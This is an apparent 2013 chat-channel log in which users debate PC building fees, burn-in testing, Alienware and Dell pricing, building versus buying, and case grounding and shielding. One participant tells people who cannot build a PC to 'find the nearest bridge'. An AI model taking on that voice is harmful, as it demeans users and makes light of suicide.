T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: 65 bucks for building it!!! are you crazy?!?!
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: if i go to a specialist bespoke pc builder to provide bespoke hardware, maybe because i run a business and want that level of service, i expect it to work and be tested
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: my rate is 65/hr  so it is reasonable
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: 130bucks to build one pc....
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: that's part of the premium is for
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: no, 65 to build one pc
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: Gener, if I were charged $130 to build a PC and then found it wasn't tested, i'd feel robbed since i could have done it myself
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: might aswell become a lawyer
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: plus parts with mark up
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: lol no one said i cahrge 130 to build
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: ey quick question?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: i said 65
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: linux is super computer os right?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: USD?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: and I do test it.  I post it, make sure ram and drives show up on bios.  make sure it boots to OS.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: is it legal to have a super computer?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: Luke It's A os. not a super os
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: no, u can have one if you have the money!  :-)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: but all of that can be seen at system info you little thief
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: how much is it?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: well $65 US seems a reasonable building fee, but i'd be apoplectic about it not being tested, especially if it were a gaming rig
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: or a purpose sensitive machine
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: no personal attacks.  all techs do that.  u can't spend too much time to test everything.  wow  then your cost/profit ratio would be screwed
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: and did you study anything tiger?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: don't you have burn-in tester?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: if you did a tigernuts test, you would get baid 65x24:)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: not like it requires work, just requires plugging in a letting run
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: paid
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: but it is taking up space that i could be working on another system  think about it.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: stick it on the floor
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: nah you charge 65 and hour, thats your rate.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: you already do it if you're installing OS on multiple PCs at a time
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: no matter what you're still earning 65/h
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: perhaps you should offer it as an additional charge :-)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: 65/h is not overly much Luke. It's pretty standard
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: xbox1 has game id lol
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: and needs internet to work...
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: lame
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: xbox1 doesn't need to be connected 24/7. It's been changed
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Medic Fluffhead Tech: I was thinking it was on the low end. *shrug*
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: Ayasinda is agreeing with that Medic Fluffhead person again...
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: damn you complain about inflation but 65/h is standard pay...
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: well, i cahrge 75 per machine to clean spyware/virus.  75 to reload os.  so as many as I can do I get paid more.  it is common practise to not test everything.  of course if a customer asks me to I will do it but not as a genaral rule
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Notwalking Tech: that has to cover overhead
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: wow i keep typo on charge
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: I'l def ask you to check everything if I were to pay 75
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: people were charging $70/hr here 10 years ago
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: nod. 65/h is standard but on the low end of standard
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ontuct Tech: throw it out and buy a new computer.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: and as you know it takes way longer than 1 hr to install an os. including all updates.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: based on your inflation rate its suppose to be compounded 1.05^10?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: based on your inflation rate its suppose to be compounded 1.085^10?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: miss
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Medic Fluffhead Tech: I charged 75/hr when I did it. Many places were in the 100-125 range, but that was for onsite, 8a-6p service.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Medic Fluffhead Tech: It was really fun when I was on weekend or after hour work :D
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: so there are some nice techies here:)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: just techie. I'm not known to be nice
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: lol
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: nice in a sense that you're good at your job?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: and yes, the charges are high because of overheads
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: in that sense, yes Luke. In nice as being nice in person. No
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Medic Fluffhead Tech: well, if by nice you mean charging 150/hour for after hour service/weekend, and including just coming in, restarting the machine, and billing for minimum of one hour, then yes, nice.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: ouch rip off
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Medic Fluffhead Tech: They should have checked to make sure it was plugged in on a Saturday.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: what are you supposed to do, go all the way out there on your time off, sort it out, drive back again, for free?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: wow mega rip off
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Medic Fluffhead Tech: call it stupidity fee\
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: yeah
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: free stuff very nice
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Medic Fluffhead Tech: free stuff gets you out of business
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: real fast
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: but gives you smiles^^
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Medic Fluffhead Tech: smiles don't pay rent
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: then sell free stuff
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: Medic Fluffhead pats Lukesmart on his head.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: see you're a nice techie fluffhead:)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Medic Fluffhead Tech: No I'm not.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: ok you're not
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: mind if I ask how much would an operating p.c cost with i3 2 cores and lets say 2gb ram and 500gb drive in USA?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: budget pc, luke?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: eh no I don't work
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: barebones system of that ilk here in the Uk $430
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: though that's with 8gb and 1tb
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: $245 for a crappy dual core celeron with 4gb/500gb
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: if i were building, i'd spend half of that on the chassis alone
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: barebones are without any extra vga or soundcards, or what?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: same here
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: usually integrated gfx, sfx, nic. No OS
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: nice gaming chasiss is 1200 but comes with no cpu
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: a chasiss with cpu is around 600-650
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: not cpu sorry
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: for top end gaming? That's cheap
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: I paid 300 for my last desktop :)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: psu*
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: uhm top of the range vga is around 2-3 k's
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: 200- 300 usd
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: that ain't top of the range, that's bottom of the gaming range
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: um i think some have 2 - 3 cooling fans
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: what's VGA?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Notwalking Tech: I've seen a 2k fideo card
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: video graphics adaptor
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: grapphics card
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Notwalking Tech: high end tv production
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: yeah
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: tv cards lol
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: ah
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: most expensive cpu that i know of is 11k
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: fancier than my Hercules Graphics Card ;)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: name starts with and x and goes on to 4 or 5 other characters
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: nogs, fancier than my Number9 vesa local bus graphics, too
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: our graphics cards are nvidia geforce and the other geforce- forgot, some fantom too
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: heh... forgot about vesa local
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: well... there's much more expensive CPUs out there... but not for the customer market :)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: we have alienware so its safe to say we're up to date:)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: alienware is just a rebadged Dell
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Notwalking Tech: at some point you stop buying cpus and start buying stacks of cpus
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: alienware is about 15-20k
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Vost Tech: Alienware is owned by Dell
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: yes I know
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: says dell on it lol
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: yeah just an overpriced Dell now.  back in the day alienware was good
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Vost Tech: lol, ok
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: corporatism - can't beat the opposition? buy them
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: thats roughly the prices
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: you could get a discount at different stores but those are the quality prices
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: and probably comes installed with a ton of bloatware
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: not sure i'd dell and quality in the same sentance
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: not in the same, scroll up.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: Tigernuts has just 'pfft'ed you! How disgusting!
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: dell does have some good monitors
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: and printers:)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Vost Tech: reasonable kit for the tech-naive 
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: and their pro lines are decent
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: the ultrasharp range is quite good as a budget IPS for photography
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: why would you buy proline...
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Vost Tech: you won't be overcharged (except for the Alienware line) 
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: because you may be a professional...
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: i would describe Dell as "adequate"
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Vost Tech: many organizations buy in bulk from Dell
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: lol
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: poweredge servers, latitude laptops, etc
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Vost Tech: many organizations only need "adequate" computers
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: i have a dell projector
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: one of my work laptops is a small lattitude
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: happy with it
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: why is alienware so expensive though, I don't see any big things in the setup, do you pay only for the turbo fans?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: alienware to tend to be higher spec, but you're basically paying for the breand
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: brand*
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: Dell is just trying to capitalize on the Alienware name now.  
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Alienware... higher spec? lol
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: ah like energ drink use sports stars:)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: yeah not much higher
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Alienware sells midrange rigs for toprange prices
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: but they look cool^^
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: they built a name on custom pimped out, then they got famous and changed to glam
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: (and then sold out to the man)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: E.G. my 2x GTX 680 rig cost me $1,500... through them $1,500 would get you a rig with 1 GTX 650.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: yeah, they sold out.  Alienware used to be nice systems and had a solid name.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Overpriced crap is never solid
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: they should team up with headfluff:)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Medic Fluffhead Tech: o.O
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: lol
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: I mean before Dell got a hold of them.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: my bad fluffhead
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: fluffhead?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: Dell of Borg
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Building your own rig is as easy as making a cup of coffee... just steps to learn.  Anyone who pays thousands more for something of similar or less quality because they are too lazy to learn a few steps is hopeless.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: Medic Fluffhead shrugs helplessly.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: yeah newegg or tiger direct is good to get parts....
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: build your own mac!
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: building it is easy. knowing what you're doing isn't
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: mac:|
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Notwalking Tech: it's a balance of time to learn and build versus the "just works" approach
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: if there were to be an aardrabbit, it would be owned by mac
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: non-gaming PCs haven't really saved money by building in about 8 years
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Every rig I've ever built "Just works" %100 more often then something you buy prebuilt... and it takes what, 2 hours to build?  Who the fug doesn't have 2 hours?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: knowing how to choose products that will work together, down to where cabling will go, efficient air flow, knowing what adequate PSU will work with your kit. Researching chipsets to see what things will work best together
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: wiring the innards in a safe, efficient way. Knowing how to ensure your cooling is adequate while not being noisy
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Hanslanda Tech: and understanding all that gobbledygook on top of that.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: dead people have 0 hours
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: You're making an argument for maintaining ignorance over watching a short youtube video to teach yourself a skill... now that's dumb
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Hanslanda Tech: and, ultimately, avoiding newbie mistakes that could cost you a lot more money
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: no, he's stating that piecing together the parts isn't what needs to be learned
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: I Sense Nonsense sighs.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: and youtube doesn't teach the other part
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Zade Tech: if you build from parts, how do you get the cheap-priced oem Win7 or Win8 OS (the Retail-pack Win OS is expensive and likely buggy)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: i encourage learning, but i wouldn't learn on $1500 of gaming equipment, i'd get some old used wreck parts and pee around with them
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: I took my p.c apart
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: you're confusing assembly with building a computer, and that's not the case
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: put it back together
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: It's literally as easy as riding a bike... if you can't learn that like I said you're freaking hopeless and should find the nearest bridge
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: you get them from any good online retailer, Zade
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Hanslanda Tech: I dunno about cheap, but you can buy OEM from Best Buy and probably from any other place that sells OSes.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Pleiades Tech: build your own mainframe :)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: adequate for me
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: but you'll never achieve the kind of volume discounts big manufactuerers get
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: assembly can be, nonsense, or it can be a major pain in the ass, depending on mobo and case design
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: oh yeah... putting an atx mobo in an atx case is ssssoooo difficult...
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: depends on which one
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: yeah the motherboard might fit but the wirering might not
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Hanslanda Tech: oh, yeah, you have to learn modding skills too.  You can really junk something pretty easily with a dremel.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: that's like saying making a pbj is too hard if you don't have the right bread
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: lol
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: it can
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: brown bread
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Vost Tech: most kit is modular enough even for noobs
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: no, it's like saying that changing front brake pads can be difficult depending on the car
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: sesami seed bread yuck
T3/r7/2013-12-08.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Wow... lol some people just refuse to accept that things aren't as hard as they make them out to be
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: and some people like to pretend that they're actually geek when they're wannabe
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Vost Tech: I assembled a PC three months ago
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: stop taling nonsense
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Zade Tech: if they sell the customer the mainboard and case without the required screws etc, may be difficult to assemble
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: alking*
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Vost Tech: no background in computers at all
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ayasinda Tech: some people just refuse to accept that some things might really be hard to some people
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Vost Tech: I watched a few Youtube videos
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Vost Tech: and read a couple of web pages
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: without a p.c?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: and some people like to think they are jack of all trades but they are really a master of none.  
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Turie Tech: Putting together a computer is not easy for the tech-challenged or scared that they might screw up and waste x amount of money.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Vost Tech: why would they sell a case without the necessary screws?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ontuct Tech: not much is so sensitive that it can't handle handling
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: not many cases come with screwas
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Hanslanda Tech: really?  Every single one I've opened the boxes for did.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: can a p.c blow up if you put in the wrong power supply wire?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: Vost goes, "Hmmmm."
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Bunnyy Tech: or, you could just pick your parts and get someone to assemble it for you for cheap!
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: then you are getting a case that is one of the exceptions
T3/r7/2013-12-08.txt.gz:{chan ch=tech}ElFeneri Tech: if it's an IKEA case it will contain screws but one is missing and the others are of the wrong size.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: assembling a kit computer is generally cake as they've already done the other work involved, but then you're often not saving the money that building was intended for
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: cause all the cables look the same to me
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ontuct Tech: you could build a case from plywood and use generic sheetrock screws :p
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: i have opened thousands of case boxes  most don't come with hardware
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Hanslanda Tech: what do you mean wrong, Luke?  You won't be rewiring a power supply, and all the connections are one-way (meaning they only fit in one slot and won't fit in the others)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Medic Fluffhead Tech: I know you used to be able to fry hdd's if you were hot swapping them by directly plugging them in when the system was running and you put the power connector upside down...
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: and when it gets to hot your p.c catches a flame?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Medic Fluffhead Tech: all it had to do was touch
T3/r7/2013-12-08.txt.gz:{chan ch=tech}ElFeneri Tech: how did you manage to connect the cable upside down?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Medic Fluffhead Tech: didn't. just touched it :)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: by touch, he means not getting it to fit in
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: plywood box lol
T3/r7/2013-12-08.txt.gz:{chan ch=tech}ElFeneri Tech: aha
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Hanslanda Tech: so, basically, as an experienced builder you made an obvious newbie mistake?  They've been saying to disconnect the power for installation for longer than the internet's been around.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: someone actually brought in a pc built in a plywood box to my shop once.  lol
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: lmao
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Medic Fluffhead Tech: yep. was doing a hot-swap without a case.  had done it hundreds of times, wasn't paying attention, fried the drive
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: did you laugh?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Hanslanda Tech: aside from being plywood, was it well-done enough to impress?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: not in front of him.  it actually looked good but still plywood  :-)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: case is just something to hold the guts, nothing wrong with that :-)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Ontuct Tech: google wooden pc case, there are some nice looking cases being made.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: lol I should try that, was it a grown man lol?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Negader Tech: doesn't case also grounds the mobo?
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Hanslanda Tech: I think the Y-Box may have included a plywood build.
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: power supply grounds
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: plastic cases use those metal inserts as electromagnetic shielding, not for grounding
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: and use stand-offs for mobo  
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tech: so his PC probably didn't meet FCC part 15, but meh
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Zade Tech: a metal case used to shield off unwanted emr tramnsmissions which may interfere with the neighbours radio, tv, and expecially the hifi (while the neighbour is recording from vinyl to tape)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Zade Tech: so how do those plexiglass cases, to show off modded computer innards, comply with FCC 15
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Lukesmart Tech: thats the 1200 gaming case
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: always go for a strong case with appropriate ventilation and soundproofing
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: i saw some nice cases with double-depth, low frequency 15cm intake fan which looked good
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: (ages ago)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Gener Tech: I like my ANtec case.  :-)
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: anyone who builds PCs uses Antec, mine is
T3/r7/2013-12-08.txt.gz:{chan ch=tech}Tigernuts Tech: (and always has been)
